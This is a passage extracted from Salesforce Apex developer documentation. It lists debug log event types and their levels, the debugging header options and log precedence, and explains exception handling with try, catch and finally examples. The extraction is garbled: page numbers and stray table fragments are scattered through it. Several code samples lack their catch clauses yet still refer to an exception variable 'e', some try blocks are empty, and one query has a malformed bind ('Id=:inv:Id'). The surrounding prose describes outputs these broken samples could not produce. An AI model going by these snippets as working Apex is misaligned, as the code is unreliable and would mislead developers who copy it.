CUMULATIVE_LIMIT_USAGE None Apex INFO and

Profiling above
CUMULATIVE_LIMIT_USAGE_END None Apex INFO and

Profiling above
CUMULATIVE_PROFILING None Apex FINE and

Profiling above
CUMULATIVE_PROFILING_BEGIN None Apex FINE and

Profiling above
CUMULATIVE_PROFILING_END None Apex FINE and

Profiling above
DML_BEGIN Line number, operation (such as Insert or DB INFO and

Update), record name or type, and number of rows above
passed into DML operation
DML_END Line number DB INFO and

above
EMAIL_QUEUE Line number Apex Code INFO and

above
548

Logged Logged
ENTERING_MANAGED_PKG Package namespace Apex Code INFO and
above
EVENT_SERVICE_PUB_BEGIN Event Type Workflow INFO and

above
EVENT_SERVICE_PUB_DETAIL Subscription IDs, ID of the user who published the Workflow FINER and
event, and event message data above
EVENT_SERVICE_PUB_END Event Type Workflow INFO and

above
EVENT_SERVICE_SUB_BEGIN Event type and action (subscribe or unsubscribe) Workflow INFO and
above
EVENT_SERVICE_SUB_DETAIL ID of the subscription, ID of the subscription instance, Workflow FINER and

reference data (such as process API name), ID of the above
user who activated or deactivated the subscription,
and event message data
EVENT_SERVICE_SUB_END Event type and action (subscribe or unsubscribe) Workflow INFO and
above
EXCEPTION_THROWN Line number, exception type, and message Apex Code INFO and
above
EXECUTION_FINISHED None Apex Code ERROR and

above
EXECUTION_STARTED None Apex Code ERROR and

above
FATAL_ERROR Exception type, message, and stack trace Apex Code ERROR and
above
FLOW_ACTIONCALL_DETAIL Interview ID, element name, action type, action enum Workflow FINER and
or ID, whether the action call succeeded, and error above
message
FLOW_ASSIGNMENT_DETAIL Interview ID, reference, operator, and value Workflow FINER and
above
FLOW_BULK_ELEMENT_BEGIN Interview ID and element type Workflow FINE and

above
FLOW_BULK_ELEMENT_DETAIL Interview ID, element type, element name, number Workflow FINER and
of records, and execution time above
FLOW_BULK_ELEMENT_END Interview ID, element type, element name, and Workflow FINE and
number of records above
FLOW_CREATE_INTERVIEW_BEGIN Organization ID, definition ID, and version ID Workflow INFO and
above
549

Logged Logged
FLOW_CREATE_INTERVIEW_END Interview ID and flow name Workflow INFO and
above
FLOW_CREATE_INTERVIEW_ERROR Message, organization ID, definition ID, and version Workflow ERROR and
ID above
FLOW_ELEMENT_BEGIN Interview ID, element type, and element name Workflow FINE and
above
FLOW_ELEMENT_DEFERRED Element type and element name Workflow FINE and

above
FLOW_ELEMENT_END Interview ID, element type, and element name Workflow FINE and
above
FLOW_ELEMENT_ERROR Message, element type, and element name (flow Workflow ERROR and
runtime exception) above
FLOW_ELEMENT_ERROR Message, element type, and element name (spark not Workflow ERROR and
found) above
FLOW_ELEMENT_ERROR Message, element type, and element name (designer Workflow ERROR and
exception) above
limit exceeded) above
runtime exception) above
FLOW_ELEMENT_FAULT Message, element type, and element name (fault path Workflow WARNING
taken) and above
FLOW_INTERVIEW_PAUSED Interview ID, flow name, and why the user paused Workflow INFO and
above
FLOW_INTERVIEW_RESUMED Interview ID and flow name Workflow INFO and

above
FLOW_LOOP_DETAIL Interview ID, index, and value Workflow FINER and

The index is the position in the collection variable for above
the item that the loop is operating on.
FLOW_RULE_DETAIL Interview ID, rule name, and result Workflow FINER and
above
FLOW_START_INTERVIEW_BEGIN Interview ID and flow name Workflow INFO and

above
FLOW_START_INTERVIEW_END Interview ID and flow name Workflow INFO and

above
550

Logged Logged
FLOW_START_INTERVIEWS_BEGIN Requests Workflow INFO and
above
FLOW_START_INTERVIEWS_END Requests Workflow INFO and

above
FLOW_START_INTERVIEWS_ERROR Message, interview ID, and flow name Workflow ERROR and
above
FLOW_SUBFLOW_DETAIL Interview ID, name, definition ID, and version ID Workflow FINER and
above
FLOW_VALUE_ASSIGNMENT Interview ID, key, and value Workflow FINER and

above
FLOW_WAIT_EVENT_RESUMING_DETAIL Interview ID, element name, event name, and event Workflow FINER and
type above
FLOW_WAIT_EVENT_WAITING_DETAIL Interview ID, element name, event name, event type, Workflow FINER and
and whether conditions were met above
FLOW_WAIT_RESUMING_DETAIL Interview ID, element name, and persisted interview Workflow FINER and
ID above
FLOW_WAIT_WAITING_DETAIL Interview ID, element name, number of events that Workflow FINER and
the element is waiting for, and persisted interview ID above
HEAP_ALLOCATE Line number and number of bytes Apex Code FINER and
above
HEAP_DEALLOCATE Line number and number of bytes deallocated Apex Code FINER and
above
IDEAS_QUERY_EXECUTE Line number DB FINEST
LIMIT_USAGE_FOR_NS Namespace and the following limits: Apex FINEST

Profiling
Number of SOQL queries
Number of query rows
Number of SOSL queries
Number of DML statements
Number of DML rows
Number of code statements
Maximum heap size
Number of callouts
551

Logged Logged
Number of Email Invocations
Number of fields describes
Number of record type describes
Number of child relationships
describes
Number of picklist describes
Number of future calls
Number of find similar calls
Number of System.runAs()
invocations
METHOD_ENTRY Line number, the Force.com ID of the class, and Apex Code FINE and
method signature above
METHOD_EXIT Line number, the Force.com ID of the class, and Apex Code FINE and
method signature. above
For constructors, the following information is logged:
Line number and class name.
POP_TRACE_FLAGS Line number, the Force.com ID of the class or trigger System INFO and
that has its log levels set and that is going into scope, above
the name of this class or trigger, and the log level
settings that are in effect after leaving this scope
PUSH_NOTIFICATION_INVALID_APP App namespace, app name. Apex Code ERROR

This event occurs when Apex code is trying to send
a notification to an app that doesn't exist in the org,
or is not push-enabled.
PUSH_NOTIFICATION_INVALID_CERTIFICATE App namespace, app name. Apex Code ERROR

This event indicates that the certificate is invalid. For
example, it’s expired.
PUSH_NOTIFICATION_INVALID_NOTIFICATION App namespace, app name, service type (Apple or Apex Code ERROR
Android GCM), user ID, device, payload (substring),
payload length.
This event occurs when a notification payload is too
long.
552

Logged Logged
PUSH_NOTIFICATION_NO_DEVICES App namespace, app name. Apex Code DEBUG
This event occurs when none of the users we're trying
to send notifications to have devices registered.
PUSH_NOTIFICATION_NOT_ENABLED This event occurs when push notifications are not Apex Code INFO
enabled in your org.
PUSH_NOTIFICATION_SENT App namespace, app name, service type (Apple or Apex Code DEBUG
Android GCM), user ID, device, payload (substring)
This event records that a notification was accepted
for sending. We don’t guarantee delivery of the
notification.
PUSH_TRACE_FLAGS Line number, the Force.com ID of the class or trigger System INFO and
that has its log levels set and that is going out of above
scope, the name of this class or trigger, and the log
level settings that are in effect after entering this scope
QUERY_MORE_BEGIN Line number DB INFO and

above
QUERY_MORE_END Line number DB INFO and

above
QUERY_MORE_ITERATIONS Line number and the number of queryMore DB INFO and

iterations above
SAVEPOINT_ROLLBACK Line number and Savepoint name DB INFO and

above
SAVEPOINT_SET Line number and Savepoint name DB INFO and

above
SLA_END Number of cases, load time, processing time, number Workflow INFO and
of case milestones to insert, update, or delete, and above
new trigger
SLA_EVAL_MILESTONE Milestone ID Workflow INFO and

above
SLA_NULL_START_DATE None Workflow INFO and

above
SLA_PROCESS_CASE Case ID Workflow INFO and

above
SOQL_EXECUTE_BEGIN Line number, number of aggregations, and query DB INFO and

source above
553

Logged Logged
SOQL_EXECUTE_END Line number, number of rows, and duration in DB INFO and
milliseconds above
SOSL_EXECUTE_BEGIN Line number and query source DB INFO and

above
SOSL_EXECUTE_END Line number, number of rows, and duration in DB INFO and

milliseconds above
STACK_FRAME_VARIABLE_LIST Frame number and variable list of the form: Apex FINE and
Variable number | Value. For example: Profiling above
var1:50
var2:'Hello World'
STATEMENT_EXECUTE Line number Apex Code FINER and

above
STATIC_VARIABLE_LIST Variable list of the form: Variable number | Apex FINE and
Value. For example: Profiling above
var1:50
var2:'Hello World'
SYSTEM_CONSTRUCTOR_ENTRY Line number and the string <init>() with the System FINE and
SYSTEM_CONSTRUCTOR_EXIT Line number and the string <init>() with the System FINE and
SYSTEM_METHOD_ENTRY Line number and method signature System FINE and

above
SYSTEM_METHOD_EXIT Line number and method signature System FINE and

above
SYSTEM_MODE_ENTER Mode name System INFO and

above
SYSTEM_MODE_EXIT Mode name System INFO and

above
TESTING_LIMITS None Apex INFO and

Profiling above
TOTAL_EMAIL_RECIPIENTS_QUEUED Number of emails sent Apex FINE and

Profiling above
USER_DEBUG Line number, logging level, and user-supplied string Apex Code DEBUG and
above by
default. If the
554

Logged Logged
user sets the
log level for
the
System.Debug
method, the
event is
logged at
that level
instead.
VALIDATION_ERROR Error message Validation INFO and

above
VALIDATION_FAIL None Validation INFO and

above
VALIDATION_FORMULA Formula source and values Validation INFO and

above
VALIDATION_PASS None Validation INFO and

above
VALIDATION_RULE Rule name Validation INFO and

above
VARIABLE_ASSIGNMENT Line number, variable name, a string representation Apex Code FINEST
of the variable's value, and the variable's address
VARIABLE_SCOPE_BEGIN Line number, variable name, type, a value that Apex Code FINEST
indicates whether the variable can be referenced, and
a value that indicates whether the variable is static
VARIABLE_SCOPE_END None Apex Code FINEST
VF_APEX_CALL Element name, method name, and return type Apex Code INFO and
above
VF_DESERIALIZE_VIEWSTATE_BEGIN View state ID Visualforce INFO and

above
VF_DESERIALIZE_VIEWSTATE_END None Visualforce INFO and

above
VF_EVALUATE_FORMULA_BEGIN View state ID and formula Visualforce FINER and

above
VF_EVALUATE_FORMULA_END None Visualforce FINER and

above
VF_PAGE_MESSAGE Message text Apex Code INFO and

above
555

Logged Logged
VF_SERIALIZE_VIEWSTATE_BEGIN View state ID Visualforce INFO and
above
VF_SERIALIZE_VIEWSTATE_END None Visualforce INFO and

above
WF_ACTION Action description Workflow INFO and

above
WF_ACTION_TASK Task subject, action ID, rule, owner, and due date Workflow INFO and
above
WF_ACTIONS_END Summary of actions performed Workflow INFO and

above
WF_APPROVAL Transition type, EntityName: NameField Workflow INFO and

Id, and process node name above
WF_APPROVAL_REMOVE EntityName: NameField Id Workflow INFO and

above
WF_APPROVAL_SUBMIT EntityName: NameField Id Workflow INFO and

above
WF_ASSIGN Owner and assignee template ID Workflow INFO and

above
WF_CRITERIA_BEGIN EntityName: NameField Id, rule name, rule Workflow INFO and
ID, and trigger type (if rule respects trigger types) above
WF_CRITERIA_END Boolean value indicating success (true or false) Workflow INFO and
above
WF_EMAIL_ALERT Action ID and rule Workflow INFO and

above
WF_EMAIL_SENT Email template ID, recipients, and CC emails Workflow INFO and
above
WF_ENQUEUE_ACTIONS Summary of actions enqueued Workflow INFO and

above
WF_ESCALATION_ACTION Case ID and business hours Workflow INFO and

above
WF_ESCALATION_RULE None Workflow INFO and

above
WF_EVAL_ENTRY_CRITERIA Process name, email template ID, and Boolean value Workflow INFO and
indicating result (true or false) above
WF_FIELD_UPDATE EntityName: NameField Id and the object Workflow INFO and

or field name above
556

Logged Logged
WF_FLOW_ACTION_BEGIN ID of flow trigger Workflow INFO and
above
WF_FLOW_ACTION_DETAIL ID of flow trigger, object type and ID of record whose Workflow FINE and
creation or update caused the workflow rule to fire, above
name and ID of workflow rule, and the names and
values of flow variables or sObject variables
WF_FLOW_ACTION_END ID of flow trigger Workflow INFO and

above
WF_FLOW_ACTION_ERROR ID of flow trigger, ID of flow definition, ID of flow Workflow ERROR and

version, and flow error message above
WF_FLOW_ACTION_ERROR_DETAIL Detailed flow error message Workflow ERROR and

above
WF_FORMULA Formula source and values Workflow INFO and

above
WF_HARD_REJECT None Workflow INFO and

above
WF_NEXT_APPROVER Owner, next owner type, and field Workflow INFO and
above
WF_NO_PROCESS_FOUND None Workflow INFO and

above
WF_OUTBOUND_MSG EntityName: NameField Id, action ID, and Workflow INFO and
rule above
WF_PROCESS_NODE Process name Workflow INFO and

above
WF_REASSIGN_RECORD EntityName: NameField Id and owner Workflow INFO and

above
WF_RESPONSE_NOTIFY Notifier name, notifier email, and notifier template ID Workflow INFO and
above
WF_RULE_ENTRY_ORDER Integer and indicating order Workflow INFO and

above
WF_RULE_EVAL_BEGIN Rule type Workflow INFO and

above
WF_RULE_EVAL_END None Workflow INFO and

above
WF_RULE_EVAL_VALUE Value Workflow INFO and

above
557

Logged Logged
WF_RULE_FILTER Filter criteria Workflow INFO and
above
WF_RULE_INVOCATION EntityName: NameField Id Workflow INFO and

above
WF_RULE_NOT_EVALUATED None Workflow INFO and

above
WF_SOFT_REJECT Process name Workflow INFO and

above
WF_SPOOL_ACTION_BEGIN Node type Workflow INFO and

above
WF_TIME_TRIGGER EntityName: NameField Id, time action, Workflow INFO and

time action container, and evaluation Datetime above
WF_TIME_TRIGGERS_BEGIN None Workflow INFO and

above
SEE ALSO:
Salesforce Help: Debug Log Levels
Debugging Apex API Calls

All API calls that invoke Apex support a debug facility that allows access to detailed information about the execution of the code, including
any calls to System.debug(). The categories field of a SOAP input header called DebuggingHeader allows you to set
the logging granularity according to the levels outlined in this table.
Element Name Type Description

category LogCategory Specify the type of information returned in the debug log. Valid values are:
• Db
• Workflow
• Validation
• Callout
• Apex_code
• Apex_profiling
• Visualforce
• System
• All
558
Element Name Type Description

level LogCategoryLevel Specifies the level of detail returned in the debug log.
Valid log levels are (listed from lowest to highest):
• NONE
• ERROR
• WARN
• INFO
• DEBUG
• FINE
• FINER
• FINEST
In addition, the following log levels are still supported as part of the DebuggingHeader for backwards compatibility.
Log Level Description

NONE Does not include any log messages.
DEBUGONLY Includes lower-level messages, and messages generated by calls to the System.debug
method.
DB Includes log messages generated by calls to the System.debug method, and every data
manipulation language (DML) statement or inline SOQL or SOSL query.
PROFILE Includes log messages generated by calls to the System.debug method, every DML
statement or inline SOQL or SOSL query, and the entrance and exit of every user-defined method.
In addition, the end of the debug log contains overall profiling information for the portions of
the request that used the most resources. This profiling information is presented in terms of
SOQL and SOSL statements, DML operations, and Apex method invocations. These three sections
list the locations in the code that consumed the most time, in descending order of total
cumulative time. Also listed is the number of times the categories executed.
CALLOUT Includes the request-response XML that the server is sending and receiving from an external
web service. Useful when debugging issues related to using Force.com web service API calls
or troubleshooting user access to external objects via an OData adapter for Salesforce Connect.
DETAIL Includes all messages generated by the PROFILE level and the following.
• Variable declaration statements
• Start of loop executions
• All loop controls, such as break and continue
• Thrown exceptions *
• Static and class initialization code *
• Any changes in the with sharing context
559
The corresponding output header, DebuggingInfo, contains the resulting debug log. For more information, see DebuggingHeader
on page 3050.
Debug Log Order of Precedence

Which events are logged depends on various factors. These factors include your trace flags, the default logging levels, your API header,
user-based system log enablement, and the log levels set by your entry points.
The order of precedence for debug log levels is:
1. Trace flags override all other logging logic. The Developer Console sets a trace flag when it loads, and that trace flag remains in effect
until it expires. You can set trace flags in the Developer Console or in Setup or by using the TraceFlag and DebugLevel
Tooling API objects.
Note: Setting class and trigger trace flags doesn’t cause logs to be generated or saved. Class and trigger trace flags override
other logging levels, including logging levels set by user trace flags, but they don’t cause logging to occur. If logging is enabled
when classes or triggers execute, logs are generated at the time of execution.
2. If you don’t have active trace flags, synchronous and asynchronous Apex tests execute with the default logging levels. Default logging
levels are:
DB
INFO
APEX_CODE
DEBUG
APEX_PROFILING
INFO
WORKFLOW
INFO
VALIDATION
INFO
CALLOUT
INFO
VISUALFORCE
INFO
SYSTEM
DEBUG
3. If no relevant trace flags are active, and no tests are running, your API header sets your logging levels. API requests that are sent
without debugging headers generate transient logs—logs that aren’t saved—unless another logging rule is in effect.
4. If your entry point sets a log level, that log level is used. For example, Visualforce requests can include a debugging parameter that
sets log levels.
If none of these cases apply, logs aren’t generated or persisted.
Exceptions in Apex
Exceptions note errors and other events that disrupt the normal flow of code execution. throw statements are used to generate
exceptions, while try, catch, and finally statements are used to gracefully recover from exceptions.
560
There are many ways to handle errors in your code, including using assertions like System.assert calls, or returning error codes
or Boolean values, so why use exceptions? The advantage of using exceptions is that they simplify error handling. Exceptions bubble up
from the called method to the caller, as many levels as necessary, until a catch statement is found to handle the error. This bubbling
up relieves you from writing error handling code in each of your methods. Also, by using finally statements, you have one place
to recover from exceptions, like resetting variables and deleting data.
What Happens When an Exception Occurs?

When an exception occurs, code execution halts. Any DML operations that were processed before the exception are rolled back and
aren’t committed to the database. Exceptions get logged in debug logs. For unhandled exceptions, that is, exceptions that the code
doesn’t catch, Salesforce sends an email that includes the exception information. The end user sees an error message in the Salesforce
user interface.
Unhandled Exception Emails

When unhandled Apex exceptions occur, emails are sent that include the Apex stack trace and the customer’s org and user ID. No other
customer data is returned with the report. Unhandled exception emails are sent by default to the developer specified in the
LastModifiedBy field on the failing class or trigger. In addition, you can have emails sent to users of your Salesforce org and to
arbitrary email addresses. To set up these email notifications, from Setup, enter Apex Exception Email in the Quick Find
box, then select Apex Exception Email. The email addresses entered will then apply to all managed packages in the customer's org.
You can also configure Apex exception emails using the Tooling API object ApexEmailNotification.
Note: If duplicate exceptions occur in Apex code that runs synchronously, subsequent exception emails are suppressed and only
the first email is sent. This email suppression prevents flooding of the developer’s inbox with emails about the same error. For
asynchronous Apex, including batch Apex and methods annotated with @future, emails for duplicate exceptions aren’t
suppressed.
Unhandled Exceptions in the User Interface

If an end user runs into an exception that occurred in Apex code while using the standard user interface, an error message appears. The
error message includes text similar to the notification shown here.
IN THIS SECTION:
Exception Statements
561
Exception Handling Example

Built-In Exceptions and Common Methods
Catching Different Exception Types
Create Custom Exceptions
Exception Statements
Apex uses exceptions to note errors and other events that disrupt the normal flow of code execution. throw statements can be used
to generate exceptions, while try, catch, and finally can be used to gracefully recover from an exception.
Throw Statements
A throw statement allows you to signal that an error has occurred. To throw an exception, use the throw statement and provide it
with an exception object to provide information about the specific error. For example:
throw exceptionObject;
Try-Catch-Finally Statements
The try, catch, and finally statements can be used to gracefully recover from a thrown exception:
• The try statement identifies a block of code in which an exception can occur.
• The catch statement identifies a block of code that can handle a particular type of exception. A single try statement can have
zero or more associated catch statements. Each catch statement must have a unique exception type. Also, once a particular
exception type is caught in one catch block, the remaining catch blocks, if any, aren’t executed.
• The finally statement identifies a block of code that is guaranteed to execute and allows you to clean up your code. A single
try statement can have up to one associated finally statement. Code in the finally block always executes regardless of
whether an exception was thrown or the type of exception that was thrown. Because the finally block always executes, use it
for cleanup code, such as for freeing up resources.
Syntax
The syntax of the try, catch, and finally statements is as follows.
try {
// Try block
code_block
} catch (exceptionType variableName) {
// Initial catch block.
// At least the catch block or the finally block must be present.
code_block
} catch (Exception e) {
// Optional additional catch statement for other exception types.
// Note that the general exception type, 'Exception',
// must be the last catch block when it is used.
code_block
} finally {
// Finally block.
// At least the catch block or the finally block must be present.
562
code_block
}
At least a catch block or a finally block must be present with a try block. The following is the syntax of a try-catch block.
try {
code_block
} catch (exceptionType variableName) {
code_block
}
// Optional additional catch blocks
The following is the syntax of a try-finally block.

try {
code_block
} finally {
code_block
}
This is a skeletal example of a try-catch-finally block.

try {
// Perform some operation that
// might cause an exception.
// Generic exception handling code here.
} finally {
// Perform some clean up.
}
Exceptions that Can’t be Caught

Some special types of built-in exceptions can’t be caught. Those exceptions are associated with critical situations in the Force.com
platform. These situations require the abortion of code execution and don’t allow for execution to resume through exception handling.
One such exception is the limit exception (System.LimitException) that the runtime throws if a governor limit has been
exceeded, such as when the maximum number of SOQL queries issued has been exceeded. Other examples are exceptions thrown
when assertion statements fail (through System.assert methods) or license exceptions.
When exceptions are uncatchable, catch blocks, as well as finally blocks if any, aren’t executed.
Exception Handling Example

To see an exception in action, execute some code that causes a DML exception to be thrown. Execute the following in the Developer
Console:
Merchandise__c m = new Merchandise__c();
insert m;
The insert DML statement in the example causes a DmlException because we’re inserting a merchandise item without setting any
of its required fields. This is the exception error that you see in the debug log.
System.DmlException: Insert failed. First exception on row 0; first error:
REQUIRED_FIELD_MISSING, Required fields are missing: [Description, Price, Total
Inventory]: [Description, Price, Total Inventory]
563
Next, execute this snippet in the Developer Console. It’s based on the previous example but includes a try-catch block.
try {
insert m;
System.debug('The following exception has occurred: ' + e.getMessage());
}
Notice that the request status in the Developer Console now reports success. This is because the code handles the exception.
Any statements in the try block occurring after the exception are skipped and aren’t executed. For example, if you add a statement after
insert m;, this statement won’t be executed. Execute the following:
try {
insert m;
// This doesn't execute since insert causes an exception
System.debug('Statement after insert.');
}
In the new debug log entry, notice that you don’t see a debug message of Statement after insert. This is because this debug
statement occurs after the exception caused by the insertion and never gets executed. To continue the execution of code statements
after an exception happens, place the statement after the try-catch block. Execute this modified code snippet and notice that the debug
log now has a debug message of Statement after insert.
try {
insert m;
}
// This will get executed
Alternatively, you can include additional try-catch blocks. This code snippet has the System.debug statement inside a second
try-catch block. Execute it to see that you get the same result as before.
try {
insert m;
}
try {
// Insert other records
}
catch (Exception e) {
// Handle this exception here
}
564
The finally block always executes regardless of what exception is thrown, and even if no exception is thrown. Let’s see it used in action.
Execute the following:
// Declare the variable outside the try-catch block
// so that it will be in scope for all blocks.
XmlStreamWriter w = null;
try {
w = new XmlStreamWriter();
w.writeStartDocument(null, '1.0');
w.writeStartElement(null, 'book', null);
w.writeCharacters('This is my book');
w.writeEndElement();
w.writeEndDocument();
// Perform some other operations

String s;
// This causes an exception because
// the string hasn't been assigned a value.
Integer i = s.length();
System.debug('An exception occurred: ' + e.getMessage());
} finally {
// This gets executed after the exception is handled
System.debug('Closing the stream writer in the finally block.');
// Close the stream writer
w.close();
}
The previous code snippet creates an XML stream writer and adds some XML elements. Next, an exception occurs due to accessing the
null String variable s. The catch block handles this exception. Then the finally block executes. It writes a debug message and closes the
stream writer, which frees any associated resources. Check the debug output in the debug log. You’ll see the debug message Closing
the stream writer in the finally block. after the exception error. This tells you that the finally block executed
after the exception was caught.
Built-In Exceptions and Common Methods

Apex provides a number of built-in exception types that the runtime engine throws if errors are encountered during execution. You’ve
seen the DmlException in the previous example. Here is a sample of some other built-in exceptions. For a complete list of built-in
exception types, see Exception Class and Built-In Exceptions.
DmlException
Any problem with a DML statement, such as an insert statement missing a required field on a record.
This example makes use of DmlException. The insert DML statement in this example causes a DmlException because it’s inserting
a merchandise item without setting any of its required fields. This exception is caught in the catch block and the exception
message is written to the debug log using the System.debug statement.
try {
insert m;
}
565
ListException
Any problem with a list, such as attempting to access an index that is out of bounds.
This example creates a list and adds one element to it. Then, an attempt is made to access two elements, one at index 0, which
exists, and one at index 1, which causes a ListException to be thrown because no element exists at this index. This exception is
caught in the catch block. The System.debug statement in the catch block writes the following to the debug log: The
following exception has occurred: List index out of bounds: 1.
try {
List<Integer> li = new List<Integer>();
li.add(15);
// This list contains only one element,
// but we're attempting to access the second element
// from this zero-based list.
Integer i1 = li[0];
Integer i2 = li[1]; // Causes a ListException
} catch(ListException le) {
System.debug('The following exception has occurred: ' + le.getMessage());
}
NullPointerException
Any problem with dereferencing a null variable.
This example creates a String variable named s but we don’t initialize it to a value, hence, it is null. Calling the contains method
on our null variable causes a NullPointerException. The exception is caught in our catch block and this is what is written to the debug
log: The following exception has occurred: Attempt to de-reference a null object.
try {
String s;
Boolean b = s.contains('abc'); // Causes a NullPointerException
} catch(NullPointerException npe) {
System.debug('The following exception has occurred: ' + npe.getMessage());
}
QueryException
Any problem with SOQL queries, such as assigning a query that returns no records or more than one record to a singleton sObject
variable.
The second SOQL query in this example causes a QueryException. The example assigns a Merchandise object to what is returned
from the query. Note the use of LIMIT 1 in the query. This ensures that at most one object is returned from the database so we
can assign it to a single object and not a list. However, in this case, we don’t have a Merchandise named XYZ, so nothing is returned,
and the attempt to assign the return value to a single object results in a QueryException. The exception is caught in our catch block
and this is what you’ll see in the debug log: The following exception has occurred: List has no rows
for assignment to SObject.
try {
// This statement doesn't cause an exception, even though
// we don't have a merchandise with name='XYZ'.
// The list will just be empty.
List<Merchandise__c> lm = [SELECT Name FROM Merchandise__c WHERE Name='XYZ'];
// lm.size() is 0
System.debug(lm.size());
// However, this statement causes a QueryException because

// we're assiging the return value to a Merchandise__c object
566
// but no Merchandise is returned.

Merchandise__c m = [SELECT Name FROM Merchandise__c WHERE Name='XYZ' LIMIT 1];
} catch(QueryException qe) {
System.debug('The following exception has occurred: ' + qe.getMessage());
}
SObjectException
Any problem with sObject records, such as attempting to change a field in an update statement that can only be changed during
insert.
This example results in an SObjectException in the try block, which is caught in the catch block. The example queries an invoice
statement and selects only its Name field. It then attempts to get the Description__c field on the queried sObject, which isn’t available
because it isn’t in the list of fields queried in the SELECT statement. This results in an SObjectException. This exception is caught in
our catch block and this is what you’ll see in the debug log: The following exception has occurred: SObject
row was retrieved via SOQL without querying the requested field:
Invoice_Statement__c.Description__c.
try {
Invoice_Statement__c inv = new Invoice_Statement__c(
Description__c='New Invoice');
insert inv;
// Query the invoice we just inserted

Invoice_Statement__c v = [SELECT Name FROM Merchandise__c WHERE Id=:inv:Id];
// Causes an SObjectException because we didn't retrieve
// the Description__c field.
String s = v.Description__c;
} catch(SObjectException se) {
System.debug('The following exception has occurred: ' + se.getMessage());
}
Common Exception Methods

You can use common exception methods to get more information about an exception, such as the exception error message or the stack
trace. The previous example calls the getMessage method, which returns the error message associated with the exception. There
are other exception methods that are also available. Here are descriptions of some useful methods:
• getCause: Returns the cause of the exception as an exception object.
• getLineNumber: Returns the line number from where the exception was thrown.
• getMessage: Returns the error message that displays for the user.
• getStackTraceString: Returns the stack trace as a string.
• getTypeName: Returns the type of exception, such as DmlException, ListException, MathException, and so on.
Example
To find out what some of the common methods return, try running this example.
try {
Merchandise__c m = [SELECT Name FROM Merchandise__c LIMIT 1];
// the Total_Inventory__c field.
Double inventory = m.Total_Inventory__c;
System.debug('Exception type caught: ' + e.getTypeName());
567
System.debug('Message: ' + e.getMessage());

System.debug('Cause: ' + e.getCause()); // returns null
System.debug('Line number: ' + e.getLineNumber());
System.debug('Stack trace: ' + e.getStackTraceString());
}
The output of all System.debug statements looks like the following:

17:38:04:149 USER_DEBUG [7]|DEBUG|Exception type caught: System.SObjectException
17:38:04:149 USER_DEBUG [8]|DEBUG|Message: SObject row was retrieved via SOQL without
querying the requested field: Merchandise__c.Total_Inventory__c
17:38:04:150 USER_DEBUG [9]|DEBUG|Cause: null
17:38:04:150 USER_DEBUG [10]|DEBUG|Line number: 5
17:38:04:150 USER_DEBUG [11]|DEBUG|Stack trace: AnonymousBlock: line 5, column 1
The catch statement argument type is the generic Exception type. It caught the more specific SObjectException. You can verify that this
is so by inspecting the return value of e.getTypeName() in the debug output. The output also contains other properties of the
SObjectException, like the error message, the line number where the exception occurred, and the stack trace. You might be wondering
why getCause returned null. This is because in our sample there was no previous exception (inner exception) that caused this
exception. In Create Custom Exceptions, you’ll get to see an example where the return value of getCause is an actual exception.
More Exception Methods

Some exception types, such as DmlException, have specific exception methods that apply to only them and aren’t common to other
exception types:
• getDmlFieldNames(Index of the failed record): Returns the names of the fields that caused the error for the
specified failed record.
• getDmlId(Index of the failed record): Returns the ID of the failed record that caused the error for the specified
failed record.
• getDmlMessage(Index of the failed record): Returns the error message for the specified failed record.
• getNumDml: Returns the number of failed records.
Example
This snippet makes use of the DmlException methods to get more information about the exceptions returned when inserting a list of
Merchandise objects. The list of items to insert contains three items, the last two of which don’t have required fields and cause exceptions.
Merchandise__c m1 = new Merchandise__c(
Name='Coffeemaker',
Description__c='Kitchenware',
Price__c=25,
Total_Inventory__c=1000);
// Missing the Price and Total_Inventory fields
Merchandise__c m2 = new Merchandise__c(
Name='Coffeemaker B',
Description__c='Kitchenware');
// Missing all required fields
Merchandise__c m3 = new Merchandise__c();
Merchandise__c[] mList = new List<Merchandise__c>();
mList.add(m1);
mList.add(m2);
mList.add(m3);
568
try {
insert mList;
} catch (DmlException de) {
Integer numErrors = de.getNumDml();
System.debug('getNumDml=' + numErrors);
for(Integer i=0;i<numErrors;i++) {
System.debug('getDmlFieldNames=' + de.getDmlFieldNames(i));
System.debug('getDmlMessage=' + de.getDmlMessage(i));
}
}
Note how the sample above didn’t include all the initial code in the try block. Only the portion of the code that could generate an
exception is wrapped inside a try block, in this case the insert statement could return a DML exception in case the input data is
not valid. The exception resulting from the insert operation is caught by the catch block that follows it. After executing this
sample, you’ll see an output of System.debug statements similar to the following:
14:01:24:939 USER_DEBUG [20]|DEBUG|getNumDml=2
14:01:24:941 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Price, Total Inventory)
14:01:24:941 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing: [Price,
Total Inventory]
14:01:24:942 USER_DEBUG [23]|DEBUG|getDmlFieldNames=(Description, Price, Total Inventory)
14:01:24:942 USER_DEBUG [24]|DEBUG|getDmlMessage=Required fields are missing:
[Description, Price, Total Inventory]
The number of DML failures is correctly reported as two since two items in our list fail insertion. Also, the field names that caused the
failure, and the error message for each failed record is written to the output.
Catching Different Exception Types

In the previous examples, we used the specific exception type in the catch block. We could have also just caught the generic Exception
type in all examples, which catches all exception types. For example, try running this example that throws an SObjectException and has
a catch statement with an argument type of Exception. The SObjectException gets caught in the catch block.
try {
}
Alternatively, you can have several catch blocks—a catch block for each exception type, and a final catch block that catches the generic
Exception type. Look at this example. Notice that it has three catch blocks.
try {
System.debug('DmlException caught: ' + e.getMessage());
569
} catch(SObjectException e) {
System.debug('SObjectException caught: ' + e.getMessage());
System.debug('Exception caught: ' + e.getMessage());
}
Remember that only one catch block gets executed and the remaining ones are bypassed. This example is similar to the previous one,
except that it has a few more catch blocks. When you run this snippet, an SObjectException is thrown on this line: Double inventory
= m.Total_Inventory__c;. Every catch block is examined in the order specified to find a match between the thrown exception
and the exception type specified in the catch block argument:
1. The first catch block argument is of type DmlException, which doesn’t match the thrown exception (SObjectException.)
2. The second catch block argument is of type SObjectException, which matches our exception, so this block gets executed and the
following message is written to the debug log: SObjectException caught: SObject row was retrieved via
SOQL without querying the requested field: Merchandise__c.Total_Inventory__c.
3. The last catch block is ignored since one catch block has already executed.
The last catch block is handy because it catches any exception type, and so catches any exception that was not caught in the previous
catch blocks. Suppose we modified the code above to cause a NullPointerException to be thrown, this exception gets caught in the last
catch block. Execute this modified example. You’ll see the following debug message: Exception caught: Attempt to
de-reference a null object.
try {
String s;
Boolean b = s.contains('abc'); // Causes a NullPointerException
System.debug('DmlException caught: ' + e.getMessage());
} catch(SObjectException e) {
System.debug('SObjectException caught: ' + e.getMessage());
System.debug('Exception caught: ' + e.getMessage());
}
Create Custom Exceptions
